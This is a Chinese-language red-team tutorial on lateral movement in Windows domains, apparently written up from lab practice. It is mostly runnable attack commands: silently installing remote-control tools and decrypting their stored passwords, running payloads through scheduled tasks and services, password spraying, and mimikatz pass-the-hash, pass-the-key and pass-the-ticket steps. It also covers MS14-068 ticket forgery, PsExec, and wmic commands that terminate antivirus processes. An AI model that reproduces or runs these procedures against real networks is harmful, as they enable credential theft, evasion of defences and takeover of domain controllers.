内网横向移动

内网横向移动

1 利用向日葵横向移动

向日葵介绍

向日葵远程控制软件是一款免费的集远程控制电脑/手机/平板、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。

支持系统:Winodws/Linux/MacOS/Android/iOS

CS上线机器–>上传向日葵

向日葵远控连接(11.1版本 目前已失效无法连接服务器)

向日免安装的时候第一次会进入选择界面

image-20231016100449917

选择暂不安装,以绿色版本运行,注册表中会写入值:

image-20231016100743216

可以将其导出为1.reg,然后删除,下次又会先让用户选择

执行1.reg,再次运行向日葵就不会选择,直接进入绿色版

内容:

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Oray\SunLogin\SunloginClient]
"11.1.0.37237_IsRunSeted"="1"

保存成reg文件上传到被控机器,然后执行

1
2
shell regedit -s 3.reg
shell SunLoginClient.exe
image-20231016102046026

获取密码:桌面截图–>cs开启vnc

缺陷:需要有人提前点击过查看验证码

image-20231016102331028

查看向日葵配置文件

1
2
3
shell type C:\ProgramData\Oray\SunloginClient\config.ini
fastcode:本机识别码去掉k
encry_pwd:本机验证码,密文无法直接解密
image-20231016102848763

解密密码

使用github提供的脚本文件进行解密

https://github.com/wafinfo/Sunflower_get_Password

1
python SunDecrypt.py

image-20231016103215870

至此拿到了本机识别码和本机验证码

使用向日葵进行连接–>连接后–>搜集信息(远程桌面凭证,保存敏感文件、数据),关闭杀软,作为跳板控制内网中的其他机器

2 利用todesk横向移动

todesk介绍

ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件 传输、云端同步和流量加密等功能

有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS

todesk安装

全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,/S参数可以实现 静默安装

1
shell ToDesk1.exe /S

image-20231016104508221

安装完成后自动运行,接下来查看配置文件

1
shell type C:\"Program Files (x86)"\ToDesk\config.ini

image-20231016104641446

运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登 录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需 要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中 的tempAuthPassEx,重启ToDesk即可得到明文密码 使用cs进行文件替换

创建新的config.ini文件

1
2
826856deb6881894e3dcca4a019c605a334f289e26193ae06abdea4cf0d714da3f4768cbabd5734bf187bd701bc0b2ae4acee22e9909
密码:317606

image-20231016105101542

替换后重启进程即可

1
2
3
tasklis 查找进程
taskkill /pid 2328 /F
taskkill /pid 1196 /F

image-20231016105438125

image-20231016105549835

查看配置文件:

1
shell type C:\"Program Files (x86)"\ToDesk\config.ini

image-20231016110003089

image-20231016110039961

连接后–>搜集信息(远程桌面凭证,保存敏感文件、数据),关闭杀软,作为跳板控制内网中的其他机器

3 利用GoToHTTP横向移动

GoToHTTP介绍

GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器 就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语 音、远程摄像头、多显示器支持

下载:http://www.gotohttp.com/goto/download.12x

GoToHTTP使用

使用cs或者其他工具将文件上传到目标机器

运行该文件

image-20231016111421321

在运行目录下会生成一个配置文件

image-20231016111443684

image-20231016111505652

直接在指定的网站输入账号密码即可远控连接

image-20231016111627427

4 利用RustDESK横向移动

RustDESK介绍

远程桌面软件,开箱即用,无需任何配置,完美替代TeamViewer。您完全掌控数据,不用担心安全问题。您可以 使用我们的注册/中继服务器,或者自己设置,亦或者开发您的版本。

https://gitee.com/rustdesk/rustdesk/releases

RustDESK安装

上传到目标机器

image-20231017100421823

运行程序

image-20231017100528021

找到配置文件

1
目录:C:\Users\administrator\AppData\Roaming\RustDesk\config

image-20231017100654050

1
shell type C:\Users\administrator\AppData\Roaming\RustDesk\config\RustDesk.toml

image-20231017100751220

可以看到没有密码,这个时候需要手写这个密码,替换配置文件,然后重启工具

image-20231017101048721

image-20231017101243837

1
2
tasklist
taskkill /pid 2184 /F

image-20231017101318986

此时密码已经被修改

image-20231017101632999

远程连接

image-20231017101824862

5 IPC配合计划任务横向移动

IPC$介绍

IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。 IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等 操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。 首先,需要建立一个ipc$

首先,需要建立一个ipc$

1
2
net use \\10.210.100.30\ipc$ "密码" /user:administrator
net use

image-20231017104928307

IPC$利用条件

1、开启了139、445端口 ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应 用。通过 139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445 端口的支持。

2、管理员开启了默认共享 默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录 winnt或 windows( adminS)通过ipc$,可以实现对这些默认共享目录的访问

IPC$连接失败原因

用户名或密码错误

目标没有打开ipcs默认共享

不能成功连接目标的139、445端口

IPC$连接常见错误

1
2
3
4
5
6
7
8
9
10
11
错误号5:拒绝访问
错误号51: Windows无法找到网络路径,即网络中存在问题。
错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未 启动目标有防火
墙(端口过滤)
错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除
错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进
行连接。
错误号1326:未知的用户名或错误的密码
错误号l792;试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连 接域控制器时会出
现此情况)。
错误号2242:此用户的密码已经过期°例如’目标机器设置了账号管理策略,强制用户定 期修改密码°

小tip

一个用户r1cky加入了本地的administrator组,仍然有uac认证

image-20231017110317789

image-20231017110543181

有uac认证时抓取不了密码 通过CS提权脚本就可以绕过,也可以通过先提权到system用户。然后加一个用户到administrator组中,然后再提权绕过uac,也可以远控然后手动添加,如果不出网,就建立隧道。

利用方式-windows自带命令

dir命令

在使用 netuse命令与远程目标机器建立ipcs后,可以使用dir命令列出远程主机中的文件, 如图

1
dir \\10.210.100.30\c$

image-20231017112241996

tasklist命令

在使用 net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列 出远程主机上运行的进程

1
tasklist /s 10.210.100.30

image-20231017112652765

利用方式-schtasks(计划任务)

(1)查看系统时间

1
net time \\IP地址

image-20231017112733114

(2)复制文件

1
2
copy 文件 \\IP地址\C$
copy C:\Users\Administrator\Desktop\artifact.exe \\10.210.100.30\C$

image-20231017113748792

(3)创建计划任务

1
2
3
4
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
schtasks /create /s 10.210.100.30 /tn r1cky /sc onstart /tr c:\artifact.exe /ru system /f
可能不成功,加上账号密码
schtasks /create /u administrator /p Ar1cky /s 10.210.100.30 /tn r1cky /sc onstart /tr c:\artifact.exe /ru system /f winserver2003执行失败

(4)执行计划任务

1
2
3
schtasks /run /s IP地址 /i /tn "计划任务名"
schtasks /run /s 10.210.100.30 /i /tn "r1cky"
schtasks /run /u administrator /p Ar1cky /s 10.210.100.30 /i /tn "r1cky"

(5)删除计划任务

1
schtasks /delete /s IP地址 /tn "计划任务名" /f

(6)清除IPC连接

1
net use \\IP /del /y

6 IPC配合系统服务横向移动

SC命令详解

获取到密码并着手横向时,却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务,然后再启用服务来运行我们想要运行的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
描述:SC 是用来与服务控制管理器和服务进行通信的命令行程序。
用法:sc <server> [command] [service name] <option1> <option2>...
<server> 选项的格式为 "\\ServerName"可通过键入以下命令获取有关命令的更多帮助: "sc
[command]"
命令:
query-----------查询服务的状态,或枚举服务类型的状态。
queryex---------查询服务的扩展状态,或枚举服务类型的状态。
start-----------启动服务。
pause-----------向服务发送 PAUSE 控制请求。
interrogate-----向服务发送 INTERROGATE 控制请求。
continue--------向服务发送 CONTINUE 控制请求。
stop------------向服务发送 STOP 请求。
config----------更改服务的配置(永久)。
description-----更改服务的描述。
failure---------更改失败时服务执行的操作。
failureflag-----更改服务的失败操作标志。
sidtype---------更改服务的服务 SID 类型。
privs-----------更改服务的所需特权。
managedaccount--更改服务以将服务帐户密码标记为由 LSA 管理。
qc--------------查询服务的配置信息。
qdescription----查询服务的描述。
qfailure--------查询失败时服务执行的操作。
qfailureflag----查询服务的失败操作标志。
qsidtype--------查询服务的服务 SID 类型。
qprivs----------查询服务的所需特权。
qtriggerinfo----查询服务的触发器参数。
qpreferrednode--查询服务的首选 NUMA 节点。
qmanagedaccount-查询服务是否将帐户与 LSA 管理的密码结合使用。
qprotection-----查询服务的进程保护级别。
quserservice----查询用户服务模板的本地实例。
delete ----------(从注册表中)删除服务。
create----------创建服务(并将其添加到注册表中)。
control---------向服务发送控制。
sdshow----------显示服务的安全描述符。
sdset-----------设置服务的安全描述符。
showsid---------显示与任意名称对应的服务 SID 字符串。
triggerinfo-----配置服务的触发器参数。
preferrednode---设置服务的首选 NUMA 节点。
GetDisplayName--获取服务的 DisplayName。
GetKeyName------获取服务的 ServiceKeyName。
EnumDepend------枚举服务依赖关系

使用sc横向

IPC建立连接

1
2
net use \\10.210.100.30\ipc$ "密码" /user:administrator
net use

image-20231017115159106

复制文件

1
copy C:\Users\Administrator\Desktop\artifact.exe \\10.210.100.30\C$

image-20231017115339967

创建服务

1
sc \\10.210.100.30 create test binpath= "cmd.exe /c c:\artifact.exe"

image-20231017115442169

开启服务

1
sc \\10.210.100.30 start test

image-20231017115532935

机器上线

image-20231017115519238

image-20231017115656279

删除服务

1
sc \\10.210.100.30 delete test

7 Password Spraying密码喷洒攻击和域内用 户枚举横向移动

域内用户枚举攻击原理

正常域用户登录主机,我们可以通过 “net user /domain”来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 “net user /domain”这条命令的。或者当主机不在域内但是能与域控通信时, 以上两种情况我们可以通过以下方法对域内用户进行枚举。

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样

所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举

image-20231017143354610

枚举工具介绍

kerbrute工具

1
2
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
kerbrute.exe userenum --dc 10.210.100.10 -d hack.com 1.txt

image-20231017145637353

密码喷洒攻击原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

kerbrute工具

1
kerbrute.exe passwordspray -d hack.com 1.txt Admin123

image-20231017150156183

CrackMapExec

CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。

下载地址: https://github.com/byt3bl33d3r/CrackMapExec

1
crackmapexec smb 10.210.100.10 -u 1.txt -p 'Admin@123' --continue-on-success

image-20231017151111498

DomainPasswordSpray.ps1

必须是域内用户或者system才可以

1
2
3
4
5
6
UserList:用户字典
Password:单个密码
PasswordList:密码字典
OutFile:输出的文件名
Domain:要爆破的域
Force:强制喷洒继续,而不提示确认
1
2
3
4
5
6
7
8
9
1.cs远控靶机执行
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList 1.txt -Domain hack.com -Password Admin@123 -Force -OutFile res.txt
2.cs提到system执行:
shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -UserList C:\Users\Administrator\Desktop\1.txt -Domain hack.com -Password Admin@123 -Force -OutFile C:\Users\Administrator\Desktop\res.txt}"
3.远程执行
4.攻击机cs执行 文件放在攻击机本地
powershell DomainPasswordSpray.ps1
powershell Invoke-DomainPasswordSpray -UserList C:\Users\Administrator\Desktop\1.txt -Domain hack.com -Password Admin@123 -Force -OutFile C:\Users\Administrator\Desktop\res.txt

image-20231017154216091

8 Pass the Hash 哈希传递攻击(PTH)横向移动

哈希传递

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,

如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机

同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。 在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。

在 WindowsServer2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

哈希传递攻击原理

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明 文密码均会被泄露。

由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输 入的密码进行散列加密处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时, 会先对用户输入的密码进行散列加密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。

主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系 统,则使用 LMHash对用户密码进行验证。但是,当密码大于等于14位 时,就无法使 用 LM Hash了。

从Windows vista和 Windowsserver2008版本开始, Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认 证时,不会使用明文口令,而是将明文口令通过系统API(例如 Lsalogon User)转换成散列值。不过,攻击者在获得密码散列值之 后,依旧可以使用哈希传递攻击来模拟用户进行认证。

哈希传递条件

哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问

在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器

哈希传递实验

实验环境如下

1
2
3
10.210.100.30 机器是admin用户进行登录 (本地管理员)
10.210.100.20 机器是administrator登录 (本地管理员)
两台机器的administrator administrator用户账号密码相同

10.210.100.30 admin用户上线,且绕过了uac

image-20231017172234423

run mimikatz 抓取密码 获得administrator密码的ntlm hash:e45a314c664d40a227f9540121d1a29d

image-20231017172107776

目前使用dir不能访问20机器

image-20231017172153867

使用mimikatz进行hash传递

1
2
3
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.210.100.20 /ntlm:e45a314c664d40a227f9540121d1a29d"

mimikatz sekurlsa::pth /user:administrator /domain:10.210.100.20 /ntlm:e45a314c664d40a227f9540121d1a29d

image-20231017172712446

认证成功之后,.30会弹出一个cmd窗口,这里可以执行命令访问.20,但在cs里应该执行不成功

image-20231017173157730

image-20231017173249429

此时可以通过IPC配合计划任务或者系统服务横向

方式一:通过IPC配合计划任务横向

1
2
3
4
5
6
1.复制木马文件
copy C:\Users\Administrator\Desktop\artifact.exe \\10.210.100.20\C$
2.创建计划任务
schtasks /create /s 10.210.100.20 /tn r1cky /sc onstart /tr c:\artifact.exe /ru system /
3.执行计划任务
schtasks /run /s 10.210.100.20 /i /tn "r1cky"

方式二:利用cs自带的功能:

image-20231017174239984

image-20231017174447338

image-20231017174514844

9.pass the key 密钥传递攻击(PTK)横向攻击

PTK介绍

WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证

什么是KB2871997

KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、 psexec、schtasks、at和访问文件共享。

这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字

但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在 lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!

实验复现

环境

机器名 系统 登录用户
域内主机(winserver2012-2) winServer2012R2 本地管理员admin 10.210.100.12
域内主机(winserver2012- 1) winServer2012R2 本地管理员 administrator 10.210.100.11
域控(DC) winServer2012R2 域管administrator 10.210.100.10

实验前提

已经控制了2012-2主机,发现他是admin用户登录系统,通过抓取密码发现域管账号(hack\administrator)存在内存中,即在这台主机上登陆过,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击

实验步骤

使用钓鱼或者其他的方式进行远控

绕过uac 使用CS插件(欧拉插件)

image-20231018151327040

小tip,CS加载插件出现乱码解决办法

https://blog.csdn.net/weixin_44309905/article/details/122687310

1
java  -Dfile.encoding=utf-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike.jar

image-20231018151411948

抓取密码(此时无法执行读取密码等操作)

1
2
mimikatz privilege::debug
mimikatz sekurlsa::ekeys

在2012-2本地管理员admin用户下没有抓到域管的aes,测试失败,直接登录域管才抓到

试了很久之后 admin账户也抓到了。。。。。

域管账户抓的:

image-20231019153446086

admin账户抓的:

image-20231019171620158

administrator:8ae04f63bb11d4eccbaa76c8fe667b34b59fced44b05227b9375af63801cf5b3

传递key

1
mimikatz sekurlsa::pth /user:administrator /domain:hack.com /aes256:8ae04f63bb11d4eccbaa76c8fe667b34b59fced44b05227b9375af63801cf5b3

注:登录域管账号可以抓

image-20231019163842189

jack:6e1d96f65964a1b98d297e0f542fe9d62cfb3e8f9410190a4e54a67474f99afe

登录普通域账号需要绕过uac,cs好像没绕过,需要到电脑桌面进行操作

image-20231019170154561

成功的话在2012-2会弹出cmd,可执行dir \\dc.hack.com\c$测试

image-20231019171736001

登录到机器然后执行命令上线

计划任务等等之类的

1
2
3
4
net use \\2012-1.hack.com
copy C:\Users\admin\Desktop\artifact.exe \\2012-1.hack.com\C$
schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f
schtasks /run /s 2012-1.hack.com /i /tn "test

image-20231019153413162

10.pass the ticket 票据传递攻击(PTT)横向攻击

票据传递介绍

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员 权限进行 横向渗透测试的方法,

例如票据传递( PassThe Ticket,PTT)

票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。

白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。

票据传递攻击一般分为两种

1、自己制作票据

2、传递内存中的票据

实验复现

导出内存的票据

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。

这里的admin在CS上执行能导出,但是看不到这些文件

image-20231019172653999

只能到电脑上看

image-20231019172556496

清除内存中的票据

1
2
3
shell klist purge
mimikatz kerberos::purge
两个都是清除票据

将高权限的票据文件注入内存

1
mimikatz kerberos::ptt [0;63c03]-2-1-40e10000-Administrator@krbtgt-HACK.COM.kirbi

image-20231019172804268

查看票据

1
2
shell klist
mimikatz kerberos::tgt

image-20231019172913750

访问机器

1
dir \\2012-1.hack.com\c$

image-20231019172956060

上线域控

1
2
3
4
5
6
7
8
9
shell net use \\dc.hack.com
shell copy C:\Users\admin\Desktop\artifact.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
删除计划任务:
shell schtasks /delete /s IP地址 /tn "计划任务名" /f
删除连接:
net use \\IP /del /y

image-20231019173251549

11.PTT攻击之ms14-068传递获取域管横向

MS14-068介绍

ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用

MS14-068的利用条件

1、获取域普通用户的账号密码

2、获取域普通用户的sid

3、服务器未打KB3011780补丁

MS14-068实验

环境介绍

域控:10.210.100.10 windows server 2012

域内机器:10.210.100.12 winserver2012 rose 域内用户

MS14-068利用

查看域用户的SID

1
whoami /all
image-20231019222954937

SID:S-1-5-21-2431442348-1717482385-2017137259-1117

image-20231019230051255

SID:S-1-5-21-2431442348-1717482385-2017137259-1121

清除内存中的票据

1
klist purge

生成票据

1
2
3
4
ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控
ms14-068.exe -u rose@hack.com -p Admin123 -s S-1-5-21-2431442348-1717482385-2017137259-1117 -d DC.hack.com
ms14-068.exe -u r1cky@hack.com -p Admin123 -s S-1-5-21-2431442348-1717482385-2017137259-1121 -d DC.hack.com

image-20231019223449062

image-20231019223529944

导入票据

1
2
3
4
kerberos::ptc 票据名字
mimikatz kerberos::ptc TGT_rose@hack.com.ccache
mimikatz kerberos::ptc TGT_r1cky@hack.com.ccache

image-20231019223752018

执行命令

1
dir \\dc2.test.com\c$ 注意是机器名不是IP

测试失败:系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。

image-20231019231448716

如能连接成功 即重复之前的操作

建立网络连接

复制恶意文件

添加计划任务

启动计划任务

1
schtasks /run /s dc.hack.com /i /tn "test"

上线DC

之后可以换2008作为域控再次测试

goldenPac.exe

此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷

用法:

1
goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名

测试失败,可能是由于2012打了KB3011780补丁

image-20231019232232228

12.PsExec工具远程命令执行横向移动

PsExec介绍

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口, 只需要对方开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防 火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是 Windows提供的工具,所以杀毒软件将其列在白名单中

下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

PsExec使用条件

1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)

2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享

PsExec常用参数

1
2
3
4
5
6
7
psexec \\ip -u administrator -p admin cmd 进⼊半交互式shell
PsExec -accepteula \\192.168.108.101 -s cmd.exe 建立交互的shell
psexec \\ip - uadministrator -p admin -w c:\cmd 进⼊交互式shell,且c:\是⽬标机器的⼯
作⽬录
psexec \\ip -u administrator -p admin whoami all 执行命令
psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行文件
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的⽤⼾权限执行文件

实验复现

测试机器 pc-2008 r1cky

直接使用:

1
PsExec.exe -accepteula \\10.210.100.12 -u administrator -p Admin123 -s cmd

image-20231020160543557

IPC$下的psexec

上传psexec

建立IPC$连接

1
2
删除连接:net use * /del /y
net use \\10.210.100.12\ipc$ "Admin123" /user:administrator

image-20231020160744368

返回交互的shell或者执行命令

1
2
3
psexec.exe -accepteula \\10.210.100.12 -s cmd.exe 返回交互shell(必须是msf或者远程
到桌面 CS不行)
psexec.exe -accepteula \\10.210.100.12 -s ipconfig 远程执行命令

image-20231020163828414

远程复制

1
copy C:\Users\r1cky\Desktop\r1.exe \\10.210.100.12\C$

image-20231020164333498

远程上线

1
PsExec.exe -accepteula \\10.210.100.12 -h -d c:\r1.exe

image-20231020164325038

image-20231020164347146

PTH下的psexec

拿下10.210.100.30 pc-2003

找到登录的凭证

image-20231020165440561

进行psexec攻击上线 填写信息上线

image-20231020165509417

上线:

image-20231020165547770

PTT下的psexec

使用pc-2012(登陆过域控)

image-20231020173027343

上传psexec

进行PTT攻击 导出内存的票据

1
2
查看密码:mimikatz sekurlsa::ekeys
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
image-20231020173343153

CS中显示不出来

清除内存中的票据

1
2
3
shell klist purge
mimikatz kerberos::purge
两个都是清除票据

将高权限的票据文件注入内存

1
mimikatz kerberos::ptt [0;11bff0]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi

image-20231020173527650

查看票据

1
2
shell klist
mimikatz kerberos::tgt

远程复制

1
copy C:\Users\admin\Desktop\artifact.exe \\dc.hack.com\C$

image-20231020173743149

远程上线

1
PsExec.exe \\dc.hack.com -h -d c:\wanli.exe

image-20231020173901853

image-20231020173908127

13.wmic 远程执行命令横向移动

什么是WMI

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操 作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持

简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是 Windows Management Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。

WMIC常见命令

wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmic,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在 2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
wmic logon list brief 登录⽤户
wmic ntdomain list brief 域控机器
wmic useraccount list brief ⽤户列表
wmic share get name,path 查看系统共享
wmic service list brief |more 服务列表
wmic startup list full 识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete 删除C盘下的test目录
wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version 查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名
wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE,可以按照实际情况进
行筛选
wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延
迟是多少
wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路

wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量
查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET
displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET
displayName,productState, pathToSignedProductExe & wmic
/namespace:\\root\securitycenter2 path antivirusproduct GET
displayName,productState, pathToSignedProductExe
常见错误
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get
displayName /Format:List
查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径
wmic process where caption="frp.exe" get caption,commandline /value
更改PATH环境变量值,新增c:\whoami
